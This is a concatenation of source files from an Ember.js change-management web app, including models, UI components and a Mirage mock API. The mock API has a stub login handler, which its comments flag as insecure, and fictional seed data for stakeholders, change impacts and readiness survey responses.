this.set('id', this.get('stakeholder.id'));
}
},
resetModalState() {
this.set('showCloseWarning', false);
this.set('showDismissPrompt', false);
this.set('showValidationErrorPrompt', false);
this.set('validationErrorStates', {});
// Reset other state data
this.set('stakeholder', undefined);
this.set('id', undefined);
this.clearForm();
},
setGender(selectedValue) {
this.set('gender', selectedValue);
},
setTeam(selectedValue) {
this.set('team', selectedValue);
},
setDepartment(selectedValue) {
this.set('department', selectedValue);
},
setManager(selectedValue) {
this.set('manager', selectedValue);
},
setStartDate(selectedValue) {
this.set('startDate', selectedValue)
}
}
});
<file_sep>/app/components/dashboard-calendar.js
import Ember from 'ember';
export default Ember.Component.extend({
events: Ember.A(),
header: {
right: 'prev,next today',
center: 'title',
left: 'month,agendaWeek,agendaDay',
},
defaultView: 'agendaWeek',
init() {
this._super(...arguments);
let events = Ember.A([{
title: 'Training session',
start: '2017-07-06T12:00:00',
end: '2017-07-06T14:00:00',
color: 'red'
}, {
title: 'Readiness briefing session',
start: '2017-07-04T10:00:00',
end: '2017-07-04T11:00:00'
}, {
title: 'Stakeholder workshop',
start: '2017-07-03T14:00:00',
end: '2017-07-03T17:00:00'
}, {
title: 'Customer meeting',
start: '2017-07-10T09:30:00',
end: '2017-07-10T12:30:00'
}, {
title: 'Demo presentation',
start: '2017-07-12T08:30:00',
end: '2017-07-12T10:30:00'
}, {
title: 'Team meeting',
start: '2017-07-13T11:00:00',
end: '2017-07-13T12:00:00',
color: 'purple'
}, {
title: 'Training session',
start: '2017-07-17T08:30:00',
end: '2017-07-17T10:30:00',
color: 'red'
},{
title: 'UAT kickoff',
start: '2017-07-19T09:00:00',
end: '2017-07-19T17:00:00'
}]);
this.set('events', events);
}
});
<file_sep>/app/controllers/project/stakeholders.js
import Ember from 'ember';
export default Ember.Controller.extend({
stakeholderFieldHeadings: [{
fieldName: 'project.projectName',
title: 'Project'
},{
fieldName: 'title',
title: 'Title'
},{
fieldName: 'company',
title: 'Company'
},{
fieldName: 'firstName',
title: '<NAME>'
},{
fieldName: 'lastName',
title: '<NAME>'
}],
actions: {
openStakeholderInfoModal(selectedId) {
this.set('stakeholderToDisplay', this.get('model.stakeholders').findBy('id', selectedId))
this.set('showModalDisplayStakeholder', true);
},
openAddStakeholderModelSubordinate(selectedId) {
this.set('selectedManager', this.get('model.stakeholders').findBy('id', selectedId));
this.set('modalAddStakeholder', true);
},
openAddStakeholderModalEdit(selectedId) {
this.set('selectedStakeholder', this.get('model.stakeholders').findBy('id', selectedId));
this.set('modalAddStakeholder', true);
}
}
});
<file_sep>/app/models/impact.js
import DS from 'ember-data';
export default DS.Model.extend({
user: DS.belongsTo('user'),
project: DS.belongsTo('project'),
published: DS.attr('boolean'),
summary: DS.attr('string'),
current: DS.attr('string'),
change: DS.attr('string'),
future: DS.attr('string'),
people: DS.attr('string'),
process: DS.attr('string'),
technology: DS.attr('string'),
total: DS.attr('string'),
due: DS.attr('date'),
stakeholders: DS.hasMany('team'),
// Calculated. This will be removed because of ember-moment, anyway
dueDatePretty: Ember.computed('due', function() {let date = this.get('due'); return `${date.getDate()}/${date.getMonth()+1}/${date.getFullYear()}`; }),
affectedTeams: Ember.computed('stakeholders', function() {
return this.get('stakeholders').map((team) => team.get('name')).toArray().join(', ');
})
});
<file_sep>/mirage/config.js
import Mirage from 'ember-cli-mirage';
import CryptoJS from 'cryptojs';
export default function() {
// These comments are here to help you get started. Feel free to delete them.
/*
Config (with defaults).
Note: these only affect routes defined *after* them!
*/
// this.urlPrefix = ''; // make this `http://localhost:8080`, for example, if your API is on a different server
// this.namespace = ''; // make this `/api`, for example, if your API is namespaced
this.timing = 400; // delay for each request, automatically set to 0 during testing
/*
Shorthand cheatsheet:
this.get('/posts');
this.post('/posts');
this.get('/posts/:id');
this.put('/posts/:id'); // or this.patch
this.del('/posts/:id');
http://www.ember-cli-mirage.com/docs/v0.3.x/shorthands/
*/
this.logging = false;
this.namespace = '/api';
// Projects
this.get('/projects');
this.get('/projects/:id');
// Impacts
this.get('/impacts');
this.post('/impacts');
// Stakeholders
this.get('/stakeholders')
this.get('/stakeholders/:id')
this.post('/stakeholders')
this.patch('/stakeholders/:id')
// Teams
this.get('/teams');
this.post('/teams');
// Departments
this.get('/departments');
this.post('/departments');
// Users
this.get('/users');
this.get('/users/:id');
this.patch('/users/:id');
// Readiness
this.get('/readiness-pulses');
this.patch('/readiness-pulses/:id');
this.post('/readiness-pulses');
// Readiness pulse responses
this.get('/readiness-pulse-responses');
this.patch('/readiness-pulse-responses/:id');
this.post('/readiness-pulse-responses');
// Authentication handler
this.post('/authenticate', (schema, request) => {
//console.log(request.requestBody);
let kvPairs = request.requestBody.split('&');
let request_grant_type = decodeURIComponent(kvPairs[0].split('=')[1]);
let request_email = decodeURIComponent(kvPairs[1].split('=')[1]);
let request_password = decodeURIComponent(kvPairs[2].split('=')[1]);
/*
console.log('Grant type: ' + request_grant_type);
console.log('Email: ' + request_email);
console.log('Password: ' + CryptoJS.SHA256(request_password).toString());
*/
// Reject the request if not a valid grant type
if(request_grant_type !== 'password') {
return new Mirage.Response(401, {}, {"error": "Only password authentication is supported"});
}
// Try to match a user based on email address
var userRecord = schema.users.findBy( {email: request_email} );
if(userRecord === null) {
return new Mirage.Response(401, {}, {"error": "User does not exist"});
}
// Authenticate the user. Note that this password hashing method *IS NOT SECURE*
// A real implementation should calculate the salt using a CSPRNG
// Then hash it using a secure cryptographic hashing algorithm, such as bcrypt.
if(request_email === userRecord.email && CryptoJS.SHA256(request_password).toString() === userRecord.password) {
// Calculate the access token. This is NOT a secure implementation.
const generated_access_token = CryptoJS.SHA256(userRecord.email + Date.now()).toString();
return {
"access_token":generated_access_token,
"token_type":"bearer",
"user_id": userRecord.id
}
} else {
return new Mirage.Response(401, {}, {"error": "Incorrect email address or password"});
}
});
}
<file_sep>/mirage/models/project.js
import { Model, hasMany, belongsTo } from 'ember-cli-mirage';
export default Model.extend({
projectMembers: hasMany('user', {inverse: 'projects'}),
projectAdmins: hasMany('user', {inverse: 'projectsAdministering'}),
projectLead: belongsTo('user', {inverse: 'projectsLeading'}),
});
<file_sep>/mirage/scenarios/default.js
import { faker } from 'ember-cli-mirage';
export default function(server) {
// We can see the faker here, so we get consistent fakes.
//faker.seed(456);
faker.locale = "en_AU";
// Create users
let david = server.create('user',
{
firstName: 'David',
lastName: 'Stojanovski',
email: '<EMAIL>',
avatar: '/musketeer/assets/images/profiles/dstojanovski.jpg',
systemAdmin: true
}
);
let ashley = server.create('user',
{
firstName: 'Ashley',
lastName: 'Coleman-Bock',
email: '<EMAIL>',
avatar: '/musketeer/assets/images/profiles/jenny.jpg',
systemAdmin: false
}
);
let hannah = server.create('user',
{
firstName: 'Hannah',
lastName: 'Coles',
email: '<EMAIL>',
avatar: '/musketeer/assets/images/profiles/hacoles.jpg',
systemAdmin: false
}
);
let elise = server.create('user',
{
firstName: 'Elise',
lastName: 'Sharpley',
email: '<EMAIL>',
avatar: '/musketeer/assets/images/profiles/esharpley.jpg',
systemAdmin: false
}
);
// Create projects
let spiceflow = server.create('project',
{
projectName: 'Project Spiceflow',
clientName: 'Berhanu International Foods',
projectLead: ashley,
projectAdmins: [ashley, hannah],
projectMembers: [ashley, hannah, david]
}
);
let springboard = server.create('project',
{
projectName: 'Stringboard',
clientName: 'Rediclank',
projectLead: hannah,
projectAdmins: [ashley, hannah],
projectMembers: [ashley, hannah, elise]
}
);
/*
let numProjects = 5;
let numImpacts = 50;
let maxProjectAdmins = 2;
let maxProjectMembers = 5;
var users = server.createList('user', numUsers);
var projects = [];
// Create some projects and randomly assign them users, but make me the lead of all of them.
for(let i = 0; i < numProjects; i++) {
let numberAdmins = faker.random.number({min: 1, max: maxProjectAdmins});
let numberProjectTeamMembers = faker.random.number({min: 1, max: maxProjectMembers});
let admins = randomSubset(users, numberAdmins, [ david ]);
let members = randomSubset(users, numberProjectTeamMembers, admins);
projects.push(server.create('project', { projectLead: david, projectAdmins: admins, projectMembers: members }));
}
*/
// Create some impacts and randomly associate them with users and projects
/*
for(let i = 0; i < numImpacts; i++) {
let userId = faker.random.number({min: 0, max: numUsers-1})
let projectId = faker.random.number({min: 0, max: numProjects-1})
server.create('impact', {project: projects[projectId], user: users[userId]});
}
// Obtain a random subset of the array. This is used to randomly assign relationships
function randomSubset (arr, n, joinArray) {
if (n >= arr.length) { return arr; }
if (arr.length === 0) { return arr; }
if (n < 1) { n = 1; }
let selected = [];
while (selected.length < n) {
let candidate = faker.random.arrayElement(arr);
if (!selected.includes(candidate)) {
selected.push(candidate);
}
}
// Join the other array.
selected = selected.concat(joinArray);
return selected;
}
*/
// Create teams
let t0 = server.create('team', {name: 'Executive', project: spiceflow});
let t1 = server.create('team', {name: 'Team 1', project: spiceflow});
let t2 = server.create('team', {name: 'Team 2', project: spiceflow});
let t3 = server.create('team', {name: 'Team 3', project: spiceflow});
let t4 = server.create('team', {name: 'Team 4', project: spiceflow});
let t5 = server.create('team', {name: 'Team 5', project: spiceflow});
let t6 = server.create('team', {name: 'Team 6', project: spiceflow});
let t7 = server.create('team', {name: 'Team 7', project: spiceflow});
let t8 = server.create('team', {name: 'Team 8', project: spiceflow});
let t9 = server.create('team', {name: 'Team 9', project: spiceflow});
let t10 = server.create('team', {name: 'Team 10', project: spiceflow});
// Create departments
let d1 = server.create('department', {name: 'Operations', project: spiceflow});
let d2 = server.create('department', {name: 'HR', project: spiceflow});
let d3 = server.create('department', {name: 'IT', project: spiceflow});
let d4 = server.create('department', {name: 'Administration', project: spiceflow});
let d5 = server.create('department', {name: 'Executive', project: spiceflow});
// Create stakeholders
let ceo = server.create('stakeholder', {
project: spiceflow,
firstName: 'Shawna',
lastName: 'Albrough',
title: 'CEO',
company: 'Berhanu International Foods',
gender: 'Female',
team: t0,
department: d5,
email: '<EMAIL>',
phone: '07-7977-6039',
mobile: '0413234020',
champion: true,
startDate: new Date(2008, 1, 28),
//manager: this.get('manager'),
root: true
});
let chro = server.create('stakeholder', {
project: spiceflow,
firstName: 'Fanny',
lastName: 'Stoneking',
title: 'CHRO',
company: 'Berhanu International Foods',
gender: 'Female',
team: t0,
department: d2,
email: '<EMAIL>',
phone: '07-3721-9123',
mobile: '0429341548',
champion: false,
startDate: new Date(2012, 2, 13),
manager: ceo,
root: false
});
let cio = server.create('stakeholder', {
project: spiceflow,
firstName: 'Raelene',
lastName: 'Legeyt',
title: 'CIO',
company: 'Berhanu International Foods',
gender: 'Female',
team: t0,
department: d3,
email: '<EMAIL>',
phone: '03-4878-1766',
mobile: '0417363266',
champion: false,
startDate: new Date(2009, 2, 14),
manager: ceo,
root: false
});
let coo = server.create('stakeholder', {
project: spiceflow,
firstName: 'Karima',
lastName: 'Cheever',
title: 'COO',
company: 'Berhanu International Foods',
gender: 'Female',
team: t0,
department: d1,
email: '<EMAIL>',
phone: '02-5977-8561',
mobile: '0489080151',
champion: false,
startDate: new Date(2005, 8, 6),
manager: ceo,
root: false
});
let shrp1 = server.create('stakeholder', {
project: spiceflow,
firstName: 'Gwen',
lastName: 'Julye',
title: 'Executive HR Partner',
company: 'Berhanu International Foods',
gender: 'Female',
team: t0,
department: d2,
email: '<EMAIL>',
phone: '03-7063-6734',
mobile: '61405349400',
champion: false,
startDate: new Date(2001, 10, 28),
manager: chro,
root: false
});
let shrp2 = server.create('stakeholder', {
project: spiceflow,
firstName: 'Hyman',
lastName: 'Phianzee',
title: 'Executive HR Partner',
company: 'Berhanu International Foods',
gender: 'Male',
team: t0,
department: d2,
email: '<EMAIL>',
phone: '08-5756-9456',
mobile: '0461133708',
champion: true,
startDate: new Date(2003, 7, 8),
manager: chro,
root: false
});
let tl1 = server.create('stakeholder', {
project: spiceflow,
firstName: 'Reita',
lastName: 'Tabar',
title: 'Team Leader',
company: 'Berhanu International Foods',
gender: 'Female',
team: t1,
department: d2,
email: '<EMAIL>',
phone: '02-3518-7078',
mobile: '0465566099',
champion: false,
startDate: new Date(2004, 4, 10),
manager: shrp1,
root: false
});
// Create impacts
server.create('impact', {
user: elise,
project: spiceflow,
published: new Date(2016, 7, 7),
summary: 'Introduction of SAP S/4HANA',
current: 'No finance system',
change: 'Implementation of SAP S/4HANA',
future: 'New finance system',
people: 'Low',
process: 'Medium',
technology: 'High',
total: 'High',
due: new Date(2017, 6, 6),
stakeholders: [t3, t4]
});
server.create('impact', {
user: david,
project: spiceflow,
published: new Date(2017, 6, 1),
summary: 'New lease management company',
current: 'Lease management company is outdated and overpriced, uses an old inflexible model with high fees',
change: 'Investigate market for new leasing company, and contracting with them for short-term',
future: 'Different lease management company, works on flexible assumptions low/no fees, should reduce overall operating costs',
people: 'Low',
process: 'High',
technology: 'Medium',
total: 'Medium',
due: new Date(2017, 6, 23),
stakeholders: [t0, t1]
});
server.create('impact', {
user: ashley,
project: spiceflow,
published: new Date(2017, 4, 16),
summary: 'Changes to machine programming',
current: 'Machines have limited programming',
change: 'Addition of machine programming to production line to ensure efficiency and state of the art processes',
future: 'Machines have top-end programming to maximise efficiency and minimise wastage during operations',
people: 'Medium',
process: 'Low',
technology: 'High',
total: 'High',
due: new Date(2017, 9, 12),
stakeholders: [t3, t4, t5, t6, t7, t8]
});
server.create('impact', {
user: ashley,
project: spiceflow,
published: new Date(2017, 3, 26),
summary: 'Skills gap for executive',
current: 'Executive are familiar with hierarchical reporting structure and management style',
change: 'Executive skills will be redeveloped to support new organisational structure and values',
future: 'Executive will engage with teams and new organisation structure in an agile manner',
people: 'Low',
process: 'High',
technology: 'Low',
total: 'Medium',
due: new Date(2017, 12, 26),
stakeholders: [t0]
});
server.create('impact', {
user: ashley,
project: spiceflow,
published: new Date(2016, 12, 14),
summary: 'Dissolution of social committees',
current: 'Social committees create siloes and opposition between teams / people',
change: 'Social committees will be disbanded in favour of social organisation in a project / team based model.',
future: 'Social events will be organised on a project basis, supporting the delivery of business value',
people: 'Medium',
process: 'Medium',
technology: 'Low',
total: 'Low',
due: new Date(2017, 6, 23),
stakeholders: [t1, t2, t3, t4, t5, t6, t7]
});
// Create change pulses
let pulse1 = server.create('readiness-pulse', {
project: spiceflow,
description: 'S/4HANA imeplementation',
status: 'Released',
releaseDate: new Date(2017, 2, 4),
//responses: DS.hasMany('readiness-pulse-response'),
audience: [t4, t5, t0],
q1: 'SAP S/4HANA',
q2: 'the S/4HANA implementation',
q3: 'the implementation of S/4HANA',
q4: '',
q5: 'the use of S/4HANA',
q6: 'how S/4HANA will benefit the organsiation',
q7: 'using S/4HANA to perform my job',
q8: 'ensuring the transition S/4HANA performs smoothly',
q9: 'the S/4HANA implementation',
q10: '',
});
let pulse2 = server.create('readiness-pulse', {
project: spiceflow,
description: 'Ariba implementation',
status: 'Released',
releaseDate: new Date(2017, 3, 8),
//responses: DS.hasMany('readiness-pulse-response'),
audience: [t1, t2, t3],
q1: 'SAP Ariba',
q2: 'the Ariba implementation',
q3: 'the implementation of Ariba',
q4: '',
q5: 'the use of Ariba',
q6: 'how Ariba will benefit the organsiation',
q7: 'using Ariba to perform my job',
q8: 'ensuring the transition Ariba performs smoothly',
q9: 'the Ariba implementation',
q10: '',
});
let pulse3 = server.create('readiness-pulse', {
project: spiceflow,
description: 'SuccessFactors implementation',
status: 'Released',
releaseDate: new Date(2017, 4, 5),
//responses: DS.hasMany('readiness-pulse-response'),
audience: [t6, t7, t0],
q1: 'SAP SuccessFactors',
q2: 'the SuccessFactors implementation',
q3: 'the implementation of SuccessFactors',
q4: '',
q5: 'the use of SuccessFactors',
q6: 'how SuccessFactors will benefit the organsiation',
q7: 'using SuccessFactors to perform my job',
q8: 'ensuring the transition SuccessFactors performs smoothly',
q9: 'the SuccessFactors implementation',
q10: '',
});
let pulse4 = server.create('readiness-pulse', {
project: spiceflow,
description: 'Hybris implementation',
status: 'Released',
releaseDate: new Date(2017, 5, 12),
//responses: DS.hasMany('readiness-pulse-response'),
audience: [t1, t2, t3, t4, t5, t0],
q1: 'SAP Hybris',
q2: 'the Hybris implementation',
q3: 'the implementation of Hybris',
q4: '',
q5: 'the use of Hybris',
q6: 'how Hybris will benefit the organsiation',
q7: 'using Hybris to perform my job',
q8: 'ensuring the transition Hybris performs smoothly',
q9: 'the Hybris implementation',
q10: '',
});
let pulse5 = server.create('readiness-pulse', {
project: spiceflow,
description: 'Concur implementation',
status: 'Draft',
releaseDate: new Date(2017, 6, 15),
//responses: DS.hasMany('readiness-pulse-response'),
audience: [t4, t5, t0],
q1: 'SAP Concur',
q2: 'the Concur implementation',
q3: 'the implementation of Concur',
q4: '',
q5: 'the use of Concur',
q6: 'how Concur will benefit the organsiation',
q7: 'using Concur to perform my job',
q8: 'ensuring the transition Concur performs smoothly',
q9: 'the Concur implementation',
q10: '',
});
// Create responses for the first pulse
server.create('readiness-pulse-response', {
project: spiceflow,
pulse: pulse1,
q1: 1,
q2: 4,
q3: 2,
q4: 2,
q5: 2,
q6: 3,
q7: 1,
q8: 2,
q9: 1,
q10: 'I am worried that this will put me out of a job',
timeInitiated: new Date(2017, 6, 8, 10, 15, 31, 0),
timeSubmitted: new Date(2017, 6, 8, 10, 18, 22, 0)
});
server.create('readiness-pulse-response', {
project: spiceflow,
pulse: pulse1,
q1: 1,
q2: 2,
q3: 1,
q4: 2,
q5: 2,
q6: 1,
q7: 3,
q8: 2,
q9: 1,
q10: 'This system is much more confusing than the old one',
timeInitiated: new Date(2017, 6, 8, 10, 15, 31, 0),
timeSubmitted: new Date(2017, 6, 8, 10, 18, 22, 0)
});
server.create('readiness-pulse-response', {
project: spiceflow,
pulse: pulse1,
q1: 1,
q2: 3,
q3: 2,
q4: 1,
q5: 5,
q6: 3,
q7: 2,
q8: 2,
q9: 1,
q10: 'I do not have the time to retrain for my job',
timeInitiated: new Date(2017, 6, 8, 10, 15, 31, 0),
timeSubmitted: new Date(2017, 6, 8, 10, 18, 22, 0)
});
server.create('readiness-pulse-response', {
project: spiceflow,
pulse: pulse1,
q1: 3,
q2: 1,
q3: 3,
q4: 4,
q5: 5,
q6: 5,
q7: 1,
q8: 4,
q9: 3,
q10: 'I do not believe we need this new system when the old one worked just finance',
timeInitiated: new Date(2017, 6, 8, 10, 15, 31, 0),
timeSubmitted: new Date(2017, 6, 8, 10, 18, 22, 0)
});
server.create('readiness-pulse-response', {
project: spiceflow,
pulse: pulse1,
q1: 3,
q2: 2,
q3: 1,
q4: 1,
q5: 1,
q6: 2,
q7: 2,
q8: 3,
q9: 3,
q10: 'Does life have any intrinsic signficance?',
timeInitiated: new Date(2017, 6, 8, 10, 15, 31, 0),
timeSubmitted: new Date(2017, 6, 8, 10, 18, 22, 0)
});
// Create responses for the second pulse
server.create('readiness-pulse-response', {
project: spiceflow,
pulse: pulse2,
q1: 3,
q2: 2,
q3: 3,
q4: 3,
q5: 4,
q6: 2,
q7: 4,
q8: 2,
q9: 3,
q10: 'This system basically explains itself!',
timeInitiated: new Date(2017, 6, 8, 10, 15, 31, 0),
timeSubmitted: new Date(2017, 6, 8, 10, 18, 22, 0)
});
server.create('readiness-pulse-response', {
project: spiceflow,
pulse: pulse2,
q1: 3,
q2: 3,
q3: 4,
q4: 3,
q5: 4,
q6: 3,
q7: 4,
q8: 1,
q9: 5,
q10: 'I am still not buying how useful this is',
timeInitiated: new Date(2017, 6, 8, 10, 15, 31, 0),
timeSubmitted: new Date(2017, 6, 8, 10, 18, 22, 0)
});
server.create('readiness-pulse-response', {
project: spiceflow,
pulse: pulse2,
q1: 1,
q2: 2,
q3: 4,
q4: 5,
q5: 4,
q6: 3,
q7: 3,
q8: 3,
q9: 4,
q10: 'This is okay, but it is not as good as the old system',
timeInitiated: new Date(2017, 6, 8, 10, 15, 31, 0),
timeSubmitted: new Date(2017, 6, 8, 10, 18, 22, 0)
});
server.create('readiness-pulse-response', {
project: spiceflow,
pulse: pulse2,
q1: 3,
q2: 1,
q3: 5,
q4: 3,
q5: 4,
q6: 4,
q7: 3,
q8: 4,
q9: 4,
q10: 'Do not listen to that other guy; this is way better than the old system',
timeInitiated: new Date(2017, 6, 8, 10, 15, 31, 0),
timeSubmitted: new Date(2017, 6, 8, 10, 18, 22, 0)
});
server.create('readiness-pulse-response', {
project: spiceflow,
pulse: pulse2,
q1: 3,
q2: 3,
q3: 3,
q4: 3,
q5: 1,
q6: 3,
q7: 3,
q8: 3,
q9: 3,
q10: 'At least this system has some documentation',
timeInitiated: new Date(2017, 6, 8, 10, 15, 31, 0),
timeSubmitted: new Date(2017, 6, 8, 10, 18, 22, 0)
});
// Create responses for the third pulse
server.create('readiness-pulse-response', {
project: spiceflow,
pulse: pulse3,
q1: 5,
q2: 4,
q3: 4,
q4: 3,
q5: 4,
q6: 3,
q7: 4,
q8: 4,
q9: 3,
q10: 'This is a lot better than PeopleSoft',
timeInitiated: new Date(2017, 6, 8, 10, 15, 31, 0),
timeSubmitted: new Date(2017, 6, 8, 10, 18, 22, 0)
});
server.create('readiness-pulse-response', {
project: spiceflow,
pulse: pulse3,
q1: 5,
q2: 4,
q3: 4,
q4: 3,
q5: 4,
q6: 3,
q7: 4,
q8: 4,
q9: 3,
q10: 'Loving the new mobile app',
timeInitiated: new Date(2017, 6, 8, 10, 15, 31, 0),
timeSubmitted: new Date(2017, 6, 8, 10, 18, 22, 0)
});
server.create('readiness-pulse-response', {
project: spiceflow,
pulse: pulse3,
q1: 3,
q2: 4,
q3: 4,
q4: 3,
q5: 4,
q6: 4,
q7: 4,
q8: 4,
q9: 3,
q10: 'I do not like the way to get the remuneration statement',
timeInitiated: new Date(2017, 6, 8, 10, 15, 31, 0),
timeSubmitted: new Date(2017, 6, 8, 10, 18, 22, 0)
});
server.create('readiness-pulse-response', {
project: spiceflow,
pulse: pulse3,
q1: 5,
q2: 4,
q3: 4,
q4: 3,
q5: 4,
q6: 3,
q7: 4,
q8: 4,
q9: 5,
q10: 'The SAP support documentation was in German...',
timeInitiated: new Date(2017, 6, 8, 10, 15, 31, 0),
timeSubmitted: new Date(2017, 6, 8, 10, 18, 22, 0)
});
server.create('readiness-pulse-response', {
project: spiceflow,
pulse: pulse3,
q1: 3,
q2: 4,
q3: 4,
q4: 5,
q5: 4,
q6: 2,
q7: 4,
q8: 4,
q9: 3,
q10: 'This really allows me to promote synergy and maximise value',
timeInitiated: new Date(2017, 6, 8, 10, 15, 31, 0),
timeSubmitted: new Date(2017, 6, 8, 10, 18, 22, 0)
});
// Create responses for the fourth pulse
server.create('readiness-pulse-response', {
project: spiceflow,
pulse: pulse4,
q1: 5,
q2: 4,
q3: 4,
q4: 4,
q5: 4,
q6: 5,
q7: 4,
q8: 4,
q9: 5,
q10: 'I am really "on board" with this',
timeInitiated: new Date(2017, 6, 8, 10, 15, 31, 0),
timeSubmitted: new Date(2017, 6, 8, 10, 18, 22, 0)
});
server.create('readiness-pulse-response', {
project: spiceflow,
pulse: pulse4,
q1: 5,
q2: 5,
q3: 4,
q4: 3,
q5: 4,
q6: 5,
q7: 4,
q8: 4,
q9: 3,
q10: 'I think the customers will like this',
timeInitiated: new Date(2017, 6, 8, 10, 15, 31, 0),
timeSubmitted: new Date(2017, 6, 8, 10, 18, 22, 0)
});
server.create('readiness-pulse-response', {
project: spiceflow,
pulse: pulse4,
q1: 3,
q2: 4,
q3: 4,
q4: 5,
q5: 4,
q6: 5,
q7: 4,
q8: 4,
q9: 4,
q10: 'It is a good thing we took this over Salesforce',
timeInitiated: new Date(2017, 6, 8, 10, 15, 31, 0),
timeSubmitted: new Date(2017, 6, 8, 10, 18, 22, 0)
});
server.create('readiness-pulse-response', {
project: spiceflow,
pulse: pulse4,
q1: 5,
q2: 4,
q3: 5,
q4: 5,
q5: 4,
q6: 3,
q7: 4,
q8: 4,
q9: 5,
q10: 'I really see what my role in the company will be after this transition',
timeInitiated: new Date(2017, 6, 8, 10, 15, 31, 0),
timeSubmitted: new Date(2017, 6, 8, 10, 18, 22, 0)
});
server.create('readiness-pulse-response', {
project: spiceflow,
pulse: pulse4,
q1: 5,
q2: 4,
q3: 4,
q4: 5,
q5: 4,
q6: 3,
q7: 4,
q8: 4,
q9: 5,
q10: 'Hybris? More like Hubris',
timeInitiated: new Date(2017, 6, 8, 10, 15, 31, 0),
timeSubmitted: new Date(2017, 6, 8, 10, 18, 22, 0)
});
}
<file_sep>/app/components/readiness-chart-pie.js
import Ember from 'ember';
export default Ember.Component.extend({
chartOptions: Ember.computed(function() {
let chartTitle = this.get('chartTitle');
return {
chart: {
type: 'pie',
height: 250
},
title: {
text: chartTitle
},
tooltip: {
pointFormat: 'Proportion: {point.percentage:.1f}%'
},
plotOptions: {
pie: {
allowPointSelect: true,
cursor: 'pointer',
size: '90%',
dataLabels: {
enabled: true,
distance: 10,
formatter: function() {
if(this.y != 0) {
return '<b>' + this.point.name +'</b><br />' + parseFloat(this.percentage).toFixed(1) + '%';
} else {
return null;
}
}
}
}
},
colors: ['#000000', '#8C8C8C', '#DCDCDC', '#BDD203', '#81BC00'],
}
}),
chartContent: Ember.computed('chartData.[]', function() {
var chartData = this.get('chartData');
return [{
name: 'Complexity',
colorByPoint: true,
data: [{
name: '1 Star',
y: chartData[0]
}, {
name: '2 Stars',
y: chartData[1]
},
{
name: '3 Stars',
y: chartData[2]
},
{
name: '4 Stars',
y: chartData[3]
},
{
name: '5 Stars',
y: chartData[4]
}]
}]
})
});
<file_sep>/app/models/readiness-pulse-response.js
import DS from 'ember-data';
export default DS.Model.extend({
project: DS.belongsTo('project'),
pulse: DS.belongsTo('readiness-pulse'),
// The responses from 1 to 5 for each question in the readiness pulse
q1: DS.attr('number'),
q2: DS.attr('number'),
q3: DS.attr('number'),
q4: DS.attr('number'),
q5: DS.attr('number'),
q6: DS.attr('number'),
q7: DS.attr('number'),
q8: DS.attr('number'),
q9: DS.attr('number'),
// The additional comments response is a free text response
q10: DS.attr('string'),
// The time the response was intiated versus when it was submitted
timeInitiated: DS.attr('date'),
timeSubmitted: DS.attr('date'),
});
<file_sep>/mirage/factories/stakeholder.js
import { Factory, faker } from 'ember-cli-mirage';
export default Factory.extend({
avatar() { return '/musketeer/assets/images/stakeholders/' + Math.floor((Math.random() * 99) + 1) + '.jpg'; },
root: false
});
<file_sep>/app/routes/project.js
import Ember from 'ember';
import RSVP from 'rsvp';
import AuthenticatedRouteMixin from 'ember-simple-auth/mixins/authenticated-route-mixin';
export default Ember.Route.extend(AuthenticatedRouteMixin, {
// Load all of the models for the child routes too. These are filtered by the project in the controller
model(params) {
return RSVP.hash({
project: this.get('store').findRecord('project', params.project_id),
impacts: this.get('store').findAll('impact'),
stakeholders: this.get('store').findAll('stakeholder'),
teams: this.get('store').findAll('team'),
departments: this.get('store').findAll('department'),
users: this.get('store').findAll('user'),
readinessPulses: this.get('store').findAll('readiness-pulse'),
readinessPulseResponses: this.get('store').findAll('readiness-pulse-response')
});
},
});
<file_sep>/app/components/impact-list.js
import Ember from 'ember';
export default Ember.Component.extend({
columns: [{
propertyName: 'id',
title: 'ID',
sortDirection: 'desc',
sortPrecedence: 1
}, {
title: 'Project Name',
propertyName: 'project.projectName',
isHidden: true
},{
title: 'Author',
propertyName: 'user.fullName'
}, {
title: 'Change Impact Summary',
propertyName: 'summary'
}, {
title: 'Current State Assessment',
propertyName: 'current'
},{
title: 'Description',
propertyName: 'change'
}, {
title: 'Future State Assessment',
propertyName: 'future'
}, {
title: 'People Impact',
propertyName: 'people',
filterWithSelect: true,
predefinedFilterOptions: ['Low', 'Medium', 'High']
}, {
title: 'Process Impact',
propertyName: 'process',
filterWithSelect: true,
predefinedFilterOptions: ['Low', 'Medium', 'High']
},{
title: 'Technology Impact',
propertyName: 'technology',
filterWithSelect: true,
predefinedFilterOptions: ['Low', 'Medium', 'High']
},{
title: 'Total Impact',
propertyName: 'total',
filterWithSelect: true,
predefinedFilterOptions: ['Low', 'Medium', 'High']
},{
title: 'Due Date',
propertyName: 'dueDatePretty',
sortedBy: 'dueDate'
},{
title: 'Affected Stakeholders',
propertyName: 'affectedTeams',
}]
});
<file_sep>/app/models/stakeholder.js
import DS from 'ember-data';
export default DS.Model.extend({
project: DS.belongsTo('project'),
firstName: DS.attr('string'),
lastName: DS.attr('string'),
title: DS.attr('string'),
company: DS.attr('string'),
gender: DS.attr('string'),
team: DS.belongsTo('team'),
department: DS.belongsTo('department'),
email: DS.attr('string'),
phone: DS.attr('string'),
mobile: DS.attr('string'),
startDate: DS.attr('date'),
root: DS.attr('boolean'),
champion: DS.attr('boolean'),
avatar: DS.attr('string'),
subordinates: DS.hasMany('stakeholder', { inverse: 'manager' }),
manager: DS.belongsTo('stakeholder', { inverse: 'subordinates' }),
fullName: Ember.computed('firstName', 'lastName', function() { return `${this.get('firstName')} ${this.get('lastName')}`; })
});
<file_sep>/app/models/user.js
import DS from 'ember-data';
import Ember from 'ember';
export default DS.Model.extend({
firstName: DS.attr('string'),
lastName: DS.attr('string'),
userName: DS.attr('string'),
email: DS.attr('string'),
avatar: DS.attr('string'),
systemAdmin: DS.attr('boolean', { defaultValue: false }),
createdAt: DS.attr('date', { defaultValue() { return new Date(); } }),
// Related model
impacts: DS.hasMany('impact'),
currentProject: DS.belongsTo('project', { inverse: null }),
projects: DS.hasMany('project', { inverse: 'projectMembers' } ),
projectsAdministering: DS.hasMany('project', { inverse: 'projectAdmins' }),
projectsLeading: DS.hasMany('project', { inverse: 'projectLead' }),
// Computed properties
fullName: Ember.computed('firstName', 'lastName', function() { return `${this.get('firstName')} ${this.get('lastName')}`; })
});
<file_sep>/mirage/models/stakeholder.js
import { Model, belongsTo, hasMany } from 'ember-cli-mirage';
export default Model.extend({
project: belongsTo(),
team: belongsTo(),
department: belongsTo(),
subordinates: hasMany('stakeholder', { inverse: 'manager' }),
manager: belongsTo('stakeholder', { inverse: 'subordinates' })
});
